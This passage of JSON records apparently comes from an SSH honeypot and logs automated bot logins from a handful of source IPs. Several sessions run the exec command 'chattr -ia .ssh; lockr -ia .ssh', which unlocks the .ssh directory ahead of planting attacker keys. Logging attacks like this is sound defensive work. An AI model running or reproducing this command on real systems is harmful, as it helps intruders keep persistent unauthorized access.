  "ended_at": "2026-08-27T12:12:46.091073+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "094e7a1a-94b8-4321-8b66-12b7e420acef",
  "name": "wandering-jagged-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 46216,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:12:36.364067+00:00",
  "ended_at": "2026-08-27T12:12:37.449473+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "8a794092-8f44-4700-b993-93994fedc00a",
  "name": "vigilant-loyal-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46226,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:12:21.769234+00:00",
  "ended_at": "2026-08-27T12:12:22.396094+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "64842450-616a-4714-9f1e-c9df2e91faf2",
  "name": "muted-nautical-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46220,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:12:20.414823+00:00",
  "ended_at": "2026-08-27T12:12:21.188998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0084b181-c820-452e-ac60-0cbd554930b1",
  "name": "keen-brazen-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 43572,
  "username": "frappe",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:11:46.280069+00:00",
  "ended_at": "2026-08-27T12:11:48.168866+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be01e14c-ee77-4eeb-8503-f8cb360f031d",
  "name": "craggy-pewter-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 43566,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:11:43.311641+00:00",
  "ended_at": "2026-08-27T12:11:44.815731+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2e50162-27ac-4f2e-a9de-23030304e863",
  "name": "solar-jolly-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 43550,
  "username": "frappe",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:11:40.040155+00:00",
  "ended_at": "2026-08-27T12:11:41.541019+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "073159ff-aca6-436d-931a-c03df328242f",
  "name": "frank-marine-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 38680,
  "username": "pal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:11:31.041436+00:00",
  "ended_at": "2026-08-27T12:11:32.356603+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "c6d33d7b-179d-457f-80a7-328403c87a56",
  "name": "wandering-crimson-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 48332,
  "username": "pal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:11:17.225815+00:00",
  "ended_at": "2026-08-27T12:11:18.422477+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "16142c38-44cf-45cd-9eec-7127bc961686",
  "name": "sincere-coastal-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 38690,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:11:15.329177+00:00",
  "ended_at": "2026-08-27T12:11:16.703170+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5cd78e11-7c61-462e-a56c-3c4ae0d6382f",
  "name": "canny-grassy-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 51418,
  "username": "dan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:10:38.041176+00:00",
  "ended_at": "2026-08-27T12:10:39.407092+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "c391edc6-1849-44c2-accc-52206383b387",
  "name": "calm-cobalt-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59490,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 461,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:10:25.466051+00:00",
  "ended_at": "2026-08-27T12:10:26.800070+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d2c45826-e87c-44f2-98c3-cf20b94f7a3d",
  "name": "craggy-sunlit-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 51430,
  "username": "dan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:10:23.939006+00:00",
  "ended_at": "2026-08-27T12:10:24.984147+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "acb246c7-0d56-47e0-bfdf-da8b4bfe525d",
  "name": "ginger-sincere-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 51424,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:10:21.479732+00:00",
  "ended_at": "2026-08-27T12:10:23.359522+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2cebf8e2-48ac-4180-a403-6c2558213b56",
  "name": "dewy-ivory-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 34578,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:10:11.214918+00:00",
  "ended_at": "2026-08-27T12:10:12.392297+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "e4612bb1-cf0c-405e-bda3-2d4321be8388",
  "name": "fringed-amber-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59496,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:10:07.219694+00:00",
  "ended_at": "2026-08-27T12:10:09.066654+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "551f0dfc-c467-4d2b-88e6-5bd314ed9054",
  "name": "indigo-creaky-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59492,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:10:05.161413+00:00",
  "ended_at": "2026-08-27T12:10:06.317828+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cee588af-453c-4b67-a80a-765a10a9c803",
  "name": "thrifty-reedy-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 34602,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:09:54.259468+00:00",
  "ended_at": "2026-08-27T12:09:56.046111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f1be544-6866-4c61-9dbe-0e73c904a846",
  "name": "cheerful-tender-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 34594,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:09:51.731699+00:00",
  "ended_at": "2026-08-27T12:09:53.610094+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7a3f793e-e0fa-41d6-94f4-330526e620df",
  "name": "prairie-fringed-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 37150,
  "username": "nikita",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:09:33.060767+00:00",
  "ended_at": "2026-08-27T12:09:34.216657+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "c78bf894-0318-4542-ad37-d34d5398dfa7",
  "name": "sooty-coastal-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 37174,
  "username": "nikita",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:09:20.222520+00:00",
  "ended_at": "2026-08-27T12:09:20.884645+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ecdaef1f-1c0a-4b30-ae14-5c1080eedfff",
  "name": "bronzed-blithe-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 37162,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:09:18.150740+00:00",
  "ended_at": "2026-08-27T12:09:19.674026+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c9f47f74-03c9-4ed8-88d9-75e2f9ccd405",
  "name": "polar-shaded-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 41982,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 744,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:09:16.080070+00:00",
  "ended_at": "2026-08-27T12:09:17.503484+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2e182b78-77f5-4567-8a64-7299dc4e6688",
  "name": "fleeting-whispering-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 45768,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:08:52.774702+00:00",
  "ended_at": "2026-08-27T12:08:53.931073+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1b268359-8f93-4485-a69a-2492557576f9",
  "name": "thorny-nameless-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 45754,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:08:49.010148+00:00",
  "ended_at": "2026-08-27T12:08:50.747856+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2c2b0671-77e7-42ae-a6b3-cd3dcc9ff267",
  "name": "bold-hazy-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 51040,
  "username": "james",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 296,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:08:37.742133+00:00",
  "ended_at": "2026-08-27T12:08:38.736308+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "07573d42-faf8-4b04-9a52-d653d00b60bf",
  "name": "woven-bitter-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 51066,
  "username": "james",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:08:22.576098+00:00",
  "ended_at": "2026-08-27T12:08:23.815584+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "85b29bb1-267c-401e-9fac-c73928d46730",
  "name": "fearless-granite-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 51056,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:08:20.973562+00:00",
  "ended_at": "2026-08-27T12:08:21.995809+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f08357d-f587-4488-bc04-95d8113c1b3f",
  "name": "solemn-languid-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 44708,
  "username": "arash",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:08:12.443806+00:00",
  "ended_at": "2026-08-27T12:08:13.652211+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2239
 },
 {
  "id": "ce01d268-cd51-42b1-b71f-61ca94ade1b8",
  "name": "gritty-hazy-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 44712,
  "username": "arash",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:07:56.535543+00:00",
  "ended_at": "2026-08-27T12:07:57.962648+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b264416-e89e-40e0-9fd7-51cb7c730b64",
  "name": "blithe-vigilant-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 44710,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:07:54.973683+00:00",
  "ended_at": "2026-08-27T12:07:55.880769+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "910b8f7b-fee8-4c24-b161-48ba24d1dd46",
  "name": "jovial-grassy-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59466,
  "username": "remoteuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 460,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:07:45.835551+00:00",
  "ended_at": "2026-08-27T12:07:47.126183+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "ba97293b-35e3-4029-98f9-b3d8dc862f73",
  "name": "mossy-whispering-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 39734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:07:30.593003+00:00",
  "ended_at": "2026-08-27T12:07:31.628401+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "0d91c8b7-0592-45b8-a3bf-7bf903662d09",
  "name": "diligent-muted-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59478,
  "username": "remoteuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:07:26.912326+00:00",
  "ended_at": "2026-08-27T12:07:28.931018+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "429bacf2-1d51-4f0f-b00b-a7c6c212ce87",
  "name": "obsidian-fringed-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59474,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:07:24.876404+00:00",
  "ended_at": "2026-08-27T12:07:26.017183+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e7c2e9db-44ae-4261-8c6c-ee98f3c6371b",
  "name": "solemn-fearless-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39742,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:07:10.994762+00:00",
  "ended_at": "2026-08-27T12:07:12.173496+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a1b3a358-acda-4df7-9bb6-d4d53369c969",
  "name": "keen-pewter-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39736,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:07:09.084268+00:00",
  "ended_at": "2026-08-27T12:07:10.476274+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "897bc932-7e0f-4cb1-bcd7-a13c7e8206ab",
  "name": "cobalt-jaunty-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 48700,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:06:31.484188+00:00",
  "ended_at": "2026-08-27T12:06:33.452428+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2293
 },
 {
  "id": "8a180bf0-13c3-42d5-9630-a41f97bfeb2f",
  "name": "watchful-vaulted-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 35922,
  "username": "ymoreno",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 772,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:06:17.365157+00:00",
  "ended_at": "2026-08-27T12:06:18.863737+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "014bca2a-1a53-4df7-b3a5-fe28460e7c7f",
  "name": "arctic-velvet-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 56626,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:06:17.019450+00:00",
  "ended_at": "2026-08-27T12:06:18.502373+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f7af9d41-ae20-4d7d-b26a-9e7aeb21d295",
  "name": "noble-wooded-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 56618,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:06:15.423884+00:00",
  "ended_at": "2026-08-27T12:06:16.440664+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8601141e-53d7-4fed-b4c3-ae24d34ccf98",
  "name": "jaunty-knotted-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 49574,
  "username": "yf",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:06:01.699560+00:00",
  "ended_at": "2026-08-27T12:06:02.807032+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2219
 },
 {
  "id": "56cf4207-5928-48cd-be3b-7eadc3ab7873",
  "name": "gloomy-balmy-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 35934,
  "username": "ymoreno",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:05:55.528189+00:00",
  "ended_at": "2026-08-27T12:05:56.906313+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fbcf4bdf-3f3d-44d7-839f-fc98406220c0",
  "name": "blithe-courtly-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 35930,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:05:52.680950+00:00",
  "ended_at": "2026-08-27T12:05:54.033602+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "68daff2e-5e47-4b94-a6d2-381c057365bc",
  "name": "sterling-nautical-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 49594,
  "username": "yf",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:05:45.699456+00:00",
  "ended_at": "2026-08-27T12:05:47.566851+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a64ae689-556a-4754-adb8-b73bafa1082a",
  "name": "whispering-lawful-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 49578,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:05:43.910341+00:00",
  "ended_at": "2026-08-27T12:05:45.045585+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f663e97f-d93e-405e-ae8b-edc39f1f03b2",
  "name": "electric-crystal-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 35516,
  "username": "filter",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:05:28.286111+00:00",
  "ended_at": "2026-08-27T12:05:29.969347+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "f6abf22e-026e-4fd0-9dd9-70138f768596",
  "name": "sterling-brave-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 35534,
  "username": "filter",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:05:04.265739+00:00",
  "ended_at": "2026-08-27T12:05:05.647529+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5879a494-a808-4915-beee-6a300e11d5fd",
  "name": "wistful-coral-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 35532,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:05:02.940516+00:00",
  "ended_at": "2026-08-27T12:05:03.745535+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e3864833-b55d-4804-a61d-cbfd17828855",
  "name": "crisp-nimble-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59430,
  "username": "cuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 465,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:04:53.129122+00:00",
  "ended_at": "2026-08-27T12:04:54.471268+00:00",
